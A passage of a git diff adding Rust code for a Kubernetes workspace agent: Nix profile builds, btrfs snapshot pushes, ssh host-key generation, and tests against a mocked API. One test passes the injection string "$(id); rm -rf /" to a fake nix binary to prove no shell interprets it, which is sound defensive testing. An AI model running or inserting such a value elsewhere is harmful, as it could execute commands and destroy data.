the live profile is collectable. +pub fn ensure_gcroot() { + let gcroots = Path::new("/nix/var/nix/gcroots"); + if !gcroots.is_dir() { + tracing::warn!("no /nix/var/nix/gcroots: profiles are not rooted and a GC may collect them"); + return; + } + let link = gcroots.join("rustic-profiles"); + if std::fs::read_link(&link).is_ok() { + return; + } + if let Err(e) = std::os::unix::fs::symlink(PROFILES_DIR, &link) { + tracing::warn!(error = %e, "could not register the profiles GC root"); + } +} + +/// `WS_NIXPKGS` must be a nixpkgs flake ref pinned to a full revision: a branch ref would make two +/// nodes (or two days) build different profiles for the same hash, which is the one thing the hash +/// promises cannot happen. +pub fn valid_pin(pin: &str) -> bool { + let Some(rev) = pin.strip_prefix("github:NixOS/nixpkgs/") else { return false }; + rev.len() == 40 && rev.bytes().all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b)) +} + +/// What every workspace on this node gets before its own list: the tools a shell session assumes +/// exist (`git` above all — a workspace is a checkout). `WS_BASE_PACKAGES`, whitespace-separated; +/// the default is the set below. Prepended, never written into `spec.packages`, so it stays the +/// platform's to change and a person cannot remove it from one workspace. +pub const DEFAULT_BASE_PACKAGES: &str = + "bashInteractive zsh fish starship coreutils git openssh curl less which gnugrep gnused findutils"; + +pub fn base_packages() -> Vec { + let raw = std::env::var("WS_BASE_PACKAGES").unwrap_or_else(|_| DEFAULT_BASE_PACKAGES.to_string()); + raw.split_whitespace().map(str::to_string).collect() +} + +pub fn nixpkgs_pin() -> String { + std::env::var("WS_NIXPKGS").unwrap_or_default() +} + +pub fn build_timeout() -> Duration { + Duration::from_secs(std::env::var("WS_NIX_TIMEOUT").ok().and_then(|v| v.parse().ok()).unwrap_or(DEFAULT_TIMEOUT_SECS)) +} + +pub trait Nix: Send + Sync { + /// `nix build --expr --no-link --print-out-paths`; the store path it realised. No + /// out-link, because the caller makes the symlink and renames it into place itself. + fn build(&self, expr: &str, timeout: Duration) -> Result; + /// `nix store ping`. + fn ping(&self) -> Result<(), String>; + /// `nix-collect-garbage`; returns bytes freed as nix reports them (0 if unparseable). + fn collect_garbage(&self) -> Result; +} + +pub struct RealNix { + pub bin: PathBuf, +} + +impl RealNix { + fn cmd(&self, args: &[&str]) -> Command { + use std::os::unix::process::CommandExt; + let mut c = Command::new(self.bin.join("nix")); + c.args(args) + .env("NIX_REMOTE", "daemon") + .env("NIX_CONFIG", "experimental-features = nix-command flakes") + .stdin(Stdio::null()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + // Its own process group: `nix` forks substituters/builders, and a plain + // `child.kill()` only signals the direct child, leaving the grandchildren running + // (and the pipes open, so a drain thread never sees EOF). group(0) makes the child + // its own group leader so the deadline path can signal the whole tree. + .process_group(0); + c + } + + /// Run with a deadline: `wait_timeout` is not in std, so poll `try_wait` at 200 ms. + /// + /// stdout/stderr are drained on their own threads as the child runs, not after exit: + /// `nix build` writes far more than the ~64 KiB pipe buffer to stderr, and with nothing + /// reading it the child blocks on `write()` and never exits — every real build would "time + /// out" even though it is just waiting on us. `wait_with_output` only works when nothing + /// else already took the pipes, so it can't be used here. + fn run(&self, mut c: Command, timeout: Duration) -> Result { + let mut child = c.spawn().map_err(|e| format!("spawn nix: {e}"))?; + let pid = child.id() as i32; + let stdout = child.stdout.take().expect("piped"); + let stderr = child.stderr.take().expect("piped"); + let out_thread = std::thread::spawn(move || { + use std::io::Read; + let mut buf = Vec::new(); + let mut r = stdout; + let _ = r.read_to_end(&mut buf); + buf + }); + let err_thread = std::thread::spawn(move || { + use std::io::Read; + let mut buf = Vec::new(); + let mut r = stderr; + let _ = r.read_to_end(&mut buf); + buf + }); + + let started = std::time::Instant::now(); + let status = loop { + match child.try_wait().map_err(|e| e.to_string())? { + Some(status) => break Ok(status), + None if started.elapsed() > timeout => break Err(()), + None => std::thread::sleep(Duration::from_millis(200)), + } + }; + + if status.is_err() { + // Signal the whole process group — `nix`'s children hold the pipes open too, so a + // kill of only the direct child would leave the drain threads (and `wait`) hanging. + unsafe { libc::kill(-pid, libc::SIGKILL) }; + } + let _ = child.wait(); + let stdout = out_thread.join().unwrap_or_default(); + let stderr = err_thread.join().unwrap_or_default(); + + let status = match status { + Ok(s) => s, + Err(()) => return Err(format!("nix timed out after {}s", timeout.as_secs())), + }; + if status.success() { + return Ok(String::from_utf8_lossy(&stdout).into_owned()); + } + // The last lines are the ones that name the attribute or the disk; the hundreds above + // them are download progress. + let stderr = String::from_utf8_lossy(&stderr); + let tail: Vec<&str> = stderr.lines().rev().take(20).collect::>().into_iter().rev().collect(); + Err(tail.join("\n")) + } +} + +impl Nix for RealNix { + fn build(&self, expr: &str, timeout: Duration) -> Result { + // `--impure` for `builtins.getFlake` on a pinned ref; the expression is ONE argv element. + let c = self.cmd(&["build", "--impure", "--expr", expr, "--no-link", "--print-out-paths"]); + let out = self.run(c, timeout)?; + match out.split_whitespace().next() { + Some(p) => Ok(PathBuf::from(p)), + None => Err("nix build printed no store path".into()), + } + } + fn ping(&self) -> Result<(), String> { + self.run(self.cmd(&["store", "ping"]), Duration::from_secs(10)).map(|_| ()) + } + fn collect_garbage(&self) -> Result { + use std::os::unix::process::CommandExt; + let mut c = Command::new(self.bin.join("nix-collect-garbage")); + c.env("NIX_REMOTE", "daemon") + .stdin(Stdio::null()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .process_group(0); + let out = self.run(c, Duration::from_secs(3600))?; + Ok(freed_bytes(&out)) + } +} + +/// Parses `nix-collect-garbage`'s summary line, e.g. `1935 store paths deleted, 3423.35 MiB +/// freed`: the number and unit immediately before "freed" — best effort, the number is only for +/// the log line, so any surprise in the format just yields 0 rather than an error. +fn freed_bytes(out: &str) -> u64 { + let words: Vec<&str> = out.split_whitespace().collect(); + let Some(freed_idx) = words.iter().position(|w| *w == "freed") else { return 0 }; + if freed_idx < 2 { + return 0; + } + let unit = words[freed_idx - 1]; + let Ok(n) = words[freed_idx - 2].parse::() else { return 0 }; + let mult: f64 = match unit { + "B" => 1.0, + "KiB" => 1024.0, + "MiB" => 1024.0 * 1024.0, + "GiB" => 1024.0 * 1024.0 * 1024.0, + "bytes" => 1.0, + _ => return 0, + }; + (n * mult) as u64 +} + +/// `rename` INSIDE the mounted directory: atomic, and the pod's `/nix/profile` mount is the +/// directory, so its next `current/bin` lookup sees the new target — which is how a running +/// workspace gains a tool without a restart. +pub fn publish(root: &Path, id: &str) -> std::io::Result<()> { + std::fs::rename(building_path(root, id), profile_path(root, id)) +} + +pub fn remove_profile(root: &Path, id: &str) -> std::io::Result<()> { + match std::fs::remove_dir_all(profile_dir(root, id)) { + Ok(()) => Ok(()), + Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()), + Err(e) => Err(e), + } +} + +/// A link whose target is gone (a GC that ran with the root missing, a wiped store) is a missing +/// profile: mounting it would give the pod an empty `bin`. +pub fn profile_exists(root: &Path, id: &str) -> bool { + std::fs::metadata(profile_path(root, id)).is_ok() +} + +#[cfg(test)] +mod tests { + use super::*; + + /// The fs helpers take their root as an argument, so a test passes a tempdir where production + /// passes `PROFILES_DIR`. + #[test] + fn publish_renames_the_building_link_inside_the_mounted_directory() { + let dir = tempfile::tempdir().unwrap(); + let target_a = dir.path().join("a"); std::fs::create_dir(&target_a).unwrap(); + let target_b = dir.path().join("b"); std::fs::create_dir(&target_b).unwrap(); + std::fs::create_dir(profile_dir(dir.path(), "ws-1")).unwrap(); + std::os::unix::fs::symlink(&target_a, profile_path(dir.path(), "ws-1")).unwrap(); + std::os::unix::fs::symlink(&target_b, building_path(dir.path(), "ws-1")).unwrap(); + publish(dir.path(), "ws-1").unwrap(); + // The DIRECTORY is what the pod mounts and it never moves — only the link inside it does, + // which is the whole reason the swap reaches a running container. + assert_eq!(std::fs::read_link(profile_path(dir.path(), "ws-1")).unwrap(), target_b); + assert!(!building_path(dir.path(), "ws-1").exists()); + assert!(profile_dir(dir.path(), "ws-1").is_dir()); + } + + #[test] + fn the_pin_must_name_a_full_nixpkgs_revision() { + assert!(valid_pin(&format!("github:NixOS/nixpkgs/{}", "a1".repeat(20)))); + for bad in [ + "", + "github:NixOS/nixpkgs/nixos-24.05", + "github:NixOS/nixpkgs/", + &format!("github:NixOS/nixpkgs/{}", "a".repeat(39)), + &format!("github:NixOS/nixpkgs/{}", "A".repeat(40)), + &format!("github:NixOS/nixpkgs/{}", "z".repeat(40)), + &format!("git+ssh://x/nixpkgs/{}", "a".repeat(40)), + ] { + assert!(!valid_pin(bad), "{bad:?} must be refused"); + } + } + + #[test] + fn a_dangling_profile_link_does_not_count_as_existing() { + let dir = tempfile::tempdir().unwrap(); + std::fs::create_dir(profile_dir(dir.path(), "ws-1")).unwrap(); + std::os::unix::fs::symlink(dir.path().join("gone"), profile_path(dir.path(), "ws-1")).unwrap(); + assert!(!profile_exists(dir.path(), "ws-1")); + std::fs::create_dir(dir.path().join("gone")).unwrap(); + assert!(profile_exists(dir.path(), "ws-1")); + remove_profile(dir.path(), "ws-1").unwrap(); + assert!(!profile_dir(dir.path(), "ws-1").exists(), "the whole directory goes"); + remove_profile(dir.path(), "ws-1").unwrap(); // idempotent + } + + #[test] + fn the_real_runner_execs_an_argv_with_no_shell() { + // A fake `nix` that records its argv proves the expression travels as ONE argument. + let dir = tempfile::tempdir().unwrap(); + let bin = dir.path().join("bin"); std::fs::create_dir(&bin).unwrap(); + let log = dir.path().join("argv.log"); + std::fs::write(bin.join("nix"), format!("#!/bin/sh\nfor a in \"$@\"; do printf '%s\\n' \"$a\" >> {}; done\necho /nix/store/deadbeef-ws-1-env\n", log.display())).unwrap(); + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(bin.join("nix"), std::fs::Permissions::from_mode(0o755)).unwrap(); + let nix = RealNix { bin: bin.clone() }; + let store = nix.build("let x = \"$(id); rm -rf /\"; in x", Duration::from_secs(5)).unwrap(); + assert_eq!(store, PathBuf::from("/nix/store/deadbeef-ws-1-env"), "the store path is read off stdout"); + let argv = std::fs::read_to_string(&log).unwrap(); + assert!(argv.contains("let x = \"$(id); rm -rf /\"; in x\n"), "the expression is one argv element: {argv}"); + // `--no-link`: the out-link's auto GC root is orphaned by the publish rename, so we make + // and root the link ourselves instead. + assert!(argv.contains("--expr\n") && argv.contains("--no-link\n"), "{argv}"); + } + + #[test] + fn a_build_that_outlives_its_deadline_is_an_error_not_a_hang() { + let dir = tempfile::tempdir().unwrap(); + let bin = dir.path().join("bin"); std::fs::create_dir(&bin).unwrap(); + // The direct child forks a grandchild and waits on it — a plain `kill()` of just the + // direct child would leave the grandchild `sleep` running, still holding the piped + // stdout/stderr write ends open, so the drain threads (and this test) would hang past + // the deadline. Only a process-group kill reaps both, which is what this proves. + std::fs::write(bin.join("nix"), "#!/bin/sh\nsleep 5 &\nwait\n").unwrap(); + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(bin.join("nix"), std::fs::Permissions::from_mode(0o755)).unwrap(); + let nix = RealNix { bin }; + let started = std::time::Instant::now(); + let err = nix.build("1", Duration::from_millis(300)).unwrap_err(); + assert!(started.elapsed() < Duration::from_secs(3)); + assert!(err.contains("timed out"), "{err}"); + } + + #[test] + fn a_child_that_writes_more_than_a_pipe_buffer_of_stderr_still_completes() { + // `nix build` writes far more than the ~64 KiB pipe buffer to stderr; if nothing drains + // it while the child runs, the child blocks on `write()` and every real build "times + // out". A script writing 1 MiB then exiting must return Ok well within the deadline. + let dir = tempfile::tempdir().unwrap(); + let bin = dir.path().join("bin"); std::fs::create_dir(&bin).unwrap(); + std::fs::write( + bin.join("nix"), + "#!/bin/sh\nyes x | head -c 1048576 1>&2\necho /nix/store/x\n", + ).unwrap(); + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(bin.join("nix"), std::fs::Permissions::from_mode(0o755)).unwrap(); + let nix = RealNix { bin }; + let started = std::time::Instant::now(); + nix.build("1", Duration::from_secs(10)).unwrap(); + assert!(started.elapsed() < Duration::from_secs(5), "child blocked writing stderr"); + } + + #[test] + fn freed_bytes_parses_the_real_nix_collect_garbage_summary() { + assert_eq!(freed_bytes("1935 store paths deleted, 3423.35 MiB freed"), (3423.35 * 1024.0 * 1024.0) as u64); + assert_eq!(freed_bytes("0 store paths deleted, 0.00 MiB freed"), 0); + assert_eq!(freed_bytes("nothing to see here"), 0); + } +} diff --git a/bins/agent/src/snapshot.rs b/bins/agent/src/snapshot.rs new file mode 100644 index 00000000..81a1e6d9 --- /dev/null +++ b/bins/agent/src/snapshot.rs @@ -0,0 +1,268 @@ +//! One push, one object, one reconciler. +//! +//! The CR is the REQUEST; the snapshot is the registry commit record its reconciler writes to the +//! server tier — durable, content-addressed, cross-region, and what a cold clone or a restore on +//! another node reads. Deleting the CR deletes no data. +//! +//! The idempotency guard is `Ctx::running`, keyed by the request's uid, exactly as for Volume work; +//! the Volume's `ws_lock` inside the engine serialises this against a clone-running or a restore on +//! the same disk. + +use crate::controller::{patch_status, running_contains, Ctx, Done, ReconcileErr, TICK}; +use kube::runtime::controller::Action; +use kube::runtime::finalizer::{finalizer, Event as FinalizerEvent}; +use kube::{Api, Resource, ResourceExt}; +use rustic_git_workspaces::crd; +use std::sync::Arc; + +/// The finalizer wrapper, exactly the shape `reconcile_volume` has: a delete routes every pass to +/// `cleanup_snapshot` until it returns, which is what makes waiting for an in-flight push free. +pub async fn reconcile_snapshot(r: Arc, ctx: Arc) -> Result { + let api: Api = Api::all(ctx.client.clone()); + finalizer(&api, crd::SNAPSHOT_FINALIZER, r, |event| async { + match event { + FinalizerEvent::Cleanup(r) => cleanup_snapshot(&r, &ctx).await, + FinalizerEvent::Apply(r) => apply_snapshot(&r, &ctx).await, + } + }) + .await + .map_err(|e| ReconcileErr(e.to_string())) +} + +/// Whether this agent owns the request, by reading the named Volume's node. +/// +/// Every agent watches every request, so a second agent writing this object's status is the +/// multi-writer problem the design exists to remove — "not mine" therefore writes NOTHING: no +/// status, no condition. +/// +/// The two "not mine" answers need different actions. Another node's Volume will never become +/// ours, and nothing about it wakes us, so that is `await_change`. A Volume that does not exist +/// YET does become ours the moment it is created, and the request is left un-run until then — so +/// that one requeues, as the backstop behind the `Volume`→request watch in case its event is +/// missed while this agent was down. +enum Owned { + Mine(Box), + Elsewhere, + NotYet, +} + +async fn my_volume(r: &crd::SnapshotRequest, ctx: &Arc) -> Result { + let api: Api = Api::all(ctx.client.clone()); + Ok(match api.get_opt(&r.spec.volume).await? { + Some(v) if v.spec.node_name == ctx.node => Owned::Mine(Box::new(v)), + Some(_) => Owned::Elsewhere, + None => Owned::NotYet, + }) +} + +/// `{ kind, name }` for the volume's parent — what this volume BELONGED to at push time. +/// +/// It goes into the commit record because the record OUTLIVES the parent: once the workspace is +/// deleted, this is the only thing left that can say what the snapshot was a snapshot of, and the +/// Snapshots page would otherwise have nothing but an id to show. The ownerReference is the link, +/// the same one that makes the Volume die with its parent. +/// +/// Best effort by design: a parent already gone, or unreadable, writes a null state and the +/// listing falls back to the volume id. A push must never fail for want of a display name. +async fn provenance(vol: &crd::Volume, ctx: &Arc) -> serde_json::Value { + let Some(parent) = vol.metadata.owner_references.as_ref().and_then(|r| r.first()) else { + return serde_json::Value::Null; + }; + // An environment's SERVICES go in too, and a workspace's do not exist. A snapshot records the + // data; the services are what turns that data back into a running environment, and once the + // Environment object is deleted the record is the only place left that knows them — which is + // exactly the case a restore is for. Absent (every record written before this) means a restore + // brings back the volume and no services, which the UI says out loud. + let (name, services) = match parent.kind.as_str() { + "Workspace" => ( + Api::::all(ctx.client.clone()).get_opt(&parent.name).await.ok().flatten().map(|w| w.spec.name), + None, + ), + "Environment" => match Api::::all(ctx.client.clone()).get_opt(&parent.name).await.ok().flatten() { + Some(e) => (Some(e.spec.name), serde_json::to_value(&e.spec.services).ok()), + None => (None, None), + }, + _ => (None, None), + }; + match name { + Some(n) => { + let mut v = serde_json::json!({"kind": parent.kind.to_lowercase(), "name": n}); + if let (Some(s), Some(o)) = (services, v.as_object_mut()) { + o.insert("services".into(), s); + } + v + } + None => serde_json::Value::Null, + } +} + +pub async fn apply_snapshot(r: &crd::SnapshotRequest, ctx: &Arc) -> Result { + let uid = r.uid().unwrap_or_default(); + let generation = r.meta().generation.unwrap_or(0); + let phase = r.status.as_ref().map(|s| s.phase).unwrap_or(crd::Phase::Pending); + // A request is never re-run past `done` or `error`: the bytes are already in the registry (or + // the user has been told to push again), and a second run appends a commit nobody asked for. + // Checked BEFORE the Volume read, so a finished request costs no API call at all. + if matches!(phase, crd::Phase::Done | crd::Phase::Error) && !running_contains(ctx, &uid) { + return Ok(Action::await_change()); + } + let vol = match my_volume(r, ctx).await? { + Owned::Mine(v) => v, + Owned::Elsewhere => return Ok(Action::await_change()), + Owned::NotYet => return Ok(Action::requeue(TICK)), + }; + + let (finished, still_running) = { + let mut running = ctx.running.lock().unwrap_or_else(|p| p.into_inner()); + match running.get(&uid) { + Some((_, h)) if h.is_finished() => (running.remove(&uid), false), + Some(_) => (None, true), + None => (None, false), + } + }; + if still_running { + write_status(r, working(generation), ctx).await?; + return Ok(Action::requeue(TICK)); + } + // The restart case: `working` in status, nothing in the map. The map died with the process, and + // there is no way to tell "crashed before starting" from "crashed mid-send" — so this is NOT + // re-run. `engine.push_env` would take a fresh snapshot and register a SECOND commit record for + // one user push. Marked permanently failed; the user pushes again. + // ponytail: fails instead of resuming. The engine already leaves an internal `unpushed` stage + // mark for crash recovery — resume from it once the engine can answer "is this lineage entry + // already registered", and this branch becomes a retry. + if finished.is_none() && phase == crd::Phase::Working { + let st = serde_json::json!({ + "phase": crd::Phase::Error, + "observedGeneration": generation, + "conditions": [crd::condition( + "Ready", false, "AgentRestarted", + "the agent restarted while this push was in flight; push again", generation, + )], + }); + write_status(r, st, ctx).await?; + return Ok(Action::await_change()); + } + if let Some((started, handle)) = finished { + let outcome = handle.await.unwrap_or_else(|e| Err(format!("push panicked: {e}"))); + let st = match &outcome { + Ok(done) => serde_json::json!({ + "phase": crd::Phase::Done, + "observedGeneration": generation, + // One push produces ONE identity: `PushOut::layer` is both the commit record's id + // and the lineage's new tip. They are separate STATUS fields because a future push + // that lands on top of an existing record would make them differ; neither is read + // back out of the other here. + "snapshotId": done.lineage_tip, + "lineageTip": done.lineage_tip, + "at": k8s_openapi::jiff::Timestamp::now().to_string(), + "conditions": [crd::condition("Ready", true, "Pushed", "the snapshot record is in the registry", generation)], + }), + // A failed push is `error` with the reason, and the user pushes again. Not a retry + // loop: a btrfs send that failed once fails the same way at RETRY, and the log line is + // indistinguishable from a healthy idle agent. + Err(e) => serde_json::json!({ + "phase": crd::Phase::Error, + "observedGeneration": generation, + "conditions": [crd::condition("Ready", false, "PushFailed", e, generation)], + }), + }; + // The outcome goes back in the map if the write fails. Without this, a status write that + // 500s drops the only record that this push ever ran: the next pass reads `working` with an + // empty map and reports `AgentRestarted` on a push that actually SUCCEEDED, losing the + // snapshot id of bytes already in the registry. An already-finished handle re-observes on + // the retry for the cost of one `spawn_blocking`. + if let Err(e) = write_status(r, st, ctx).await { + let replay = tokio::task::spawn_blocking(move || outcome); + ctx.running.lock().unwrap_or_else(|p| p.into_inner()).insert(uid, (started, replay)); + return Err(e); + } + // Nothing is written on the Volume. "The newest snapshot of this volume" is a query over + // these objects by the `rustic-git.io/volume` label — a second controller force-applying + // the Volume's status under the same field manager would have its field pruned by the + // Volume reconciler's very next pass. + return Ok(Action::await_change()); + } + + // Start it, on its own OS thread: `Engine::push_env` blocks on `ws_lock`'s synchronous + // `libc::flock`, and a lock wait on the shared reactor would freeze every other workspace. + let engine = ctx.engine.clone(); + let volume = r.spec.volume.clone(); + let message = r.spec.message.clone(); + // `spec.owner` on the Volume is the truth; the request's `rustic-git.io/owner` label is a view + // of it, and this repo never reads a label as authority. + let owner = vol.spec.owner.clone(); + // Resolved before the blocking thread starts: this is an API read, and the thread it would run + // on is the one holding the volume's flock. + let state = provenance(&vol, ctx).await; + let handle = tokio::task::spawn_blocking(move || { + let rt = tokio::runtime::Builder::new_current_thread().enable_all().build().map_err(|e| e.to_string())?; + rt.block_on(async { + // `push_env` rather than `push`: the VOLUME is what gets pushed, keyed by id alone. + let out = engine + .push_env(&owner, &volume, &state, message.as_deref()) + .await + .map_err(|e| e.to_string())?; + Ok(Done { phase: crd::Phase::Done, lineage_tip: Some(out.layer), ..Done::default() }) + }) + }); + let handle = crate::controller::wake_on_finish( + handle, + ctx.wake_snapshot.clone(), + kube::runtime::reflector::ObjectRef::::new(&r.name_any()), + ); + ctx.running.lock().unwrap_or_else(|p| p.into_inner()).insert(uid, (generation, handle)); + write_status(r, working(generation), ctx).await?; + Ok(Action::requeue(TICK)) +} + +/// Wait for an in-flight push, then let the object go. +/// +/// The same shape and the same reason as `cleanup_volume`: reclaiming or abandoning while a +/// `btrfs send` is still reading destroys the source mid-stream, and the finalizer makes waiting +/// cost one tick. The finished handle must be DRAINED here, not merely observed — while an object +/// is deleting the finalizer routes every pass to this arm, so `apply_snapshot` never runs and +/// nothing else would ever remove the entry. +pub async fn cleanup_snapshot(r: &crd::SnapshotRequest, ctx: &Arc) -> Result { + let uid = r.uid().unwrap_or_default(); + let mut running = ctx.running.lock().unwrap_or_else(|p| p.into_inner()); + match running.get(&uid) { + Some((_, h)) if h.is_finished() => { + running.remove(&uid); + } + Some(_) => { + tracing::info!(request = %r.name_any(), "delete waiting for an in-flight push"); + return Ok(Action::requeue(TICK)); + } + None => {} + } + // Nothing on disk or in the registry is reclaimed by this: the record is content-addressed and + // shared, and deleting the wish never deletes the bytes. + Ok(Action::await_change()) +} + +fn working(generation: i64) -> serde_json::Value { + serde_json::json!({ + "phase": crd::Phase::Working, + "observedGeneration": generation, + "conditions": [crd::condition("Progressing", true, "Working", "btrfs snapshot and upload in flight", generation)], + }) +} + +async fn write_status(r: &crd::SnapshotRequest, st: serde_json::Value, ctx: &Arc) -> Result<(), ReconcileErr> { + // Same guard as everywhere else: a status write that is not a change is a watch event that + // triggers itself, which is an outage rather than a warning. + // + // `phase` + `snapshotId` is the WHOLE comparison, deliberately: this reconciler only ever + // writes four statuses and no two of them share both fields, so conditions and `at` cannot + // differ while these match. (`Ready=False/AgentRestarted` and `Ready=False/PushFailed` are + // both `error` with no `snapshotId` — but the first only runs when there is no handle and the + // second only when there is, so one object never sees both.) + if let Some(cur) = &r.status { + if serde_json::to_value(cur).is_ok_and(|c| c["phase"] == st["phase"] && c["snapshotId"] == st["snapshotId"]) { + return Ok(()); + } + } + let api: Api = Api::all(ctx.client.clone()); + patch_status(&api, &r.name_any(), "SnapshotRequest", st).await +} diff --git a/bins/agent/src/sshkeys.rs b/bins/agent/src/sshkeys.rs new file mode 100644 index 00000000..04b114bf --- /dev/null +++ b/bins/agent/src/sshkeys.rs @@ -0,0 +1,52 @@ +//! The workspace host keypair, made by `ssh-keygen` rather than in Rust. +//! +//! Behind a trait for the same reason `nix::Nix` is: the reconciler is tested with a fake, and the +//! real one shells out to a binary that only exists in the agent image. + +/// `(private key in OpenSSH format, public key line)`. +pub trait HostKeys: Send + Sync { + fn generate(&self) -> Result<(String, String), String>; +} + +pub struct SshKeygen; + +impl HostKeys for SshKeygen { + fn generate(&self) -> Result<(String, String), String> { + // A tempdir, not a fixed path: `ssh-keygen` refuses to overwrite and the agent's root + // filesystem is read-only. The directory (and the private key with it) is removed on drop, + // so the only lasting copy is the Secret the caller writes. + let dir = tempfile::tempdir().map_err(|e| format!("host key tempdir: {e}"))?; + let key = dir.path().join("key"); + let out = std::process::Command::new("ssh-keygen") + .args(["-q", "-t", "ed25519", "-N", "", "-C", "ws", "-f"]) + .arg(&key) + .output() + .map_err(|e| format!("ssh-keygen: {e}"))?; + if !out.status.success() { + return Err(format!("ssh-keygen failed: {}", String::from_utf8_lossy(&out.stderr))); + } + let private = std::fs::read_to_string(&key).map_err(|e| format!("read host key: {e}"))?; + let public = std::fs::read_to_string(key.with_extension("pub")).map_err(|e| format!("read host key: {e}"))?; + Ok((private, public.trim().to_string())) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + /// The one check that the argv is right: a key `sshd` would accept, and a public line the CLI + /// can put in `known_hosts` verbatim. + #[test] + fn ssh_keygen_makes_an_ed25519_pair() { + // Skipped only where the binary is absent — a `generate` that FAILS with one installed is + // the bug this test exists to catch, so it must not be swallowed as "not available". + if std::process::Command::new("ssh-keygen").arg("-?").output().is_err() { + return; // the agent image installs one + } + let (private, public) = SshKeygen.generate().expect("ssh-keygen is installed"); + assert!(private.starts_with("-----BEGIN OPENSSH PRIVATE KEY-----"), "{private}"); + assert!(public.starts_with("ssh-ed25519 "), "{public}"); + assert!(!public.contains('\n'), "one line, as known_hosts wants: {public}"); + } +} diff --git a/bins/agent/tests/reconcile.rs b/bins/agent/tests/reconcile.rs new file mode 100644 index 00000000..86be8149 --- /dev/null +++ b/bins/agent/tests/reconcile.rs @@ -0,0 +1,2591 @@ +//! The node controller's three load-bearing behaviours, against a mocked API server +//! (`rustic_git_workspaces::kube_test`) — no cluster, no btrfs. +//! +//! These are deliberately about the *loop*, not about btrfs: what the reconcile starts, what it +//! refuses to start twice, and what it never deletes. The btrfs half is covered by the engine's own +//! loopback tests and by `tests/ws_e2e.sh` against real k3s. + +use rustic_git_agent::controller::{Ctx, Done}; +use rustic_git_workspaces::crd; +use rustic_git_workspaces::engine::{Engine, Pool}; +use rustic_git_workspaces::kube_test::{mock_client, Recorder, Route}; +use rustic_git_workspaces::registry_client::RegistryClient; +use rustic_git_workspaces::store::MemStore; +use std::sync::Arc; + +const VOL_STATUS: &str = "/apis/rustic-git.io/v1alpha1/volumes/vol-1/status"; + +/// A fake `Nix` that records the expressions it was asked to build and answers as told. It +/// returns a STORE PATH, as the real one does: the link and the publish are the reconciler's job, +/// not nix's, because `nix -o`'s auto GC root does not survive the rename. +struct FakeNix { + builds: std::sync::Mutex>, + answer: std::sync::Mutex>, + ping: std::sync::Mutex>, + /// Run while a build is "in flight", so a test can change the spec mid-build. + on_build: std::sync::Mutex>>, +} +impl Default for FakeNix { + fn default() -> Self { + FakeNix { + builds: std::sync::Mutex::new(Vec::new()), + answer: std::sync::Mutex::new(Ok(())), + ping: std::sync::Mutex::new(Ok(())), + on_build: std::sync::Mutex::new(None), + } + } +} +impl rustic_git_agent::nix::Nix for FakeNix { + fn build(&self, expr: &str, _: std::time::Duration) -> Result { + self.builds.lock().unwrap().push(expr.to_string()); + if let Some(f) = self.on_build.lock().unwrap().take() { + f(); + } + let r = self.answer.lock().unwrap().clone(); + r.map(|()| std::path::PathBuf::from("/tmp")) + } + fn ping(&self) -> Result<(), String> { self.ping.lock().unwrap().clone() } + fn collect_garbage(&self) -> Result { Ok(0) } +} + +/// Fixed keys, so a test can assert on the exact bytes that reach the Secret and status. +struct FakeHostKeys; +impl rustic_git_agent::sshkeys::HostKeys for FakeHostKeys { + fn generate(&self) -> Result<(String, String), String> { + Ok(("FAKE PRIVATE".into(), "ssh-ed25519 FAKEPUB ws".into())) + } +} + +/// A profile as a finished build leaves it: the directory the pod mounts, with `current` inside. +/// The list the node actually hashes: the platform base set first, then the workspace's own. +fn with_base(own: &[String]) -> Vec { + let base = rustic_git_agent::nix::base_packages(); + let mut all = base.clone(); + all.extend(own.iter().filter(|p| !base.contains(p)).cloned()); + all +} + +fn plant_profile(ctx: &Arc, id: &str) { + std::fs::create_dir_all(rustic_git_agent::nix::profile_dir(&ctx.profiles_dir, id)).unwrap(); + std::os::unix::fs::symlink("/tmp", rustic_git_agent::nix::profile_path(&ctx.profiles_dir, id)).unwrap(); +} + +fn patch_ok(path: &str) -> Route { + Route { method: "PATCH", path: path.into(), status: 200, body: volume_json(1) } +} + +fn volume_json(generation: i64) -> serde_json::Value { + serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", + "kind": "Volume", + "metadata": {"name": "vol-1", "uid": "uid-1", "generation": generation}, + "spec": {"owner": "alice", "nodeName": "node-a", "region": "r1", "quotaGb": 10}, + }) +} + +fn volume(generation: i64) -> crd::Volume { + serde_json::from_value(volume_json(generation)).unwrap() +} + +fn ctx(pool: &std::path::Path, routes: Vec) -> (Arc, Recorder) { + // Port 1: nothing listens, so every registry read fails — the migration's "skip the history + // backfill" path, which is what every non-history test wants. + ctx_with_registry(pool, routes, "http://127.0.0.1:1") +} + +fn ctx_with_registry(pool: &std::path::Path, routes: Vec, registry: &str) -> (Arc, Recorder) { + ctx_full(pool, routes, registry, Arc::new(FakeNix::default())) +} + +/// The one constructor: every test's profile root is a directory under its own pool tempdir, so no +/// test can reach the node's real `/nix` and none of them race each other over it. +fn ctx_full(pool: &std::path::Path, routes: Vec, registry: &str, nix: Arc) -> (Arc, Recorder) { + let (client, rec) = mock_client(routes); + // Best effort: one test hands a plain file as its "pool" on purpose. + let profiles = pool.join("profiles"); + let _ = std::fs::create_dir_all(&profiles); + let engine = Engine::new( + Pool::new(pool), + Arc::new(object_store::memory::InMemory::new()), + Arc::new(MemStore::new()), + RegistryClient::new(registry, "unused"), + ); + ( + Arc::new(Ctx::new( + client, + Arc::new(engine), + "node-a".into(), + pool.to_string_lossy().into(), + "r1".into(), + vec!["session".into(), "env".into()], + nix, + profiles, + Arc::new(FakeHostKeys), + )), + rec, + ) +} + +/// Block until every in-flight operation has finished — "observed on a LATER pass" is the +/// behaviour under test, and which pass that is depends on a thread, not on the reconcile. +async fn wait_idle(ctx: &Arc) { + for _ in 0..200 { + if ctx.running.lock().unwrap().values().all(|(_, h)| h.is_finished()) { + return; + } + tokio::time::sleep(std::time::Duration::from_millis(20)).await; + } + panic!("operation never finished"); +} + +/// The single-flight guard: a second reconcile of the same {uid, generation} while a push is +/// running must NOT start a second one. This replaces the 120s-lease-with-no-renewal that audit +/// H2 is about — the sweep requeuing a still-running job and it racing itself. 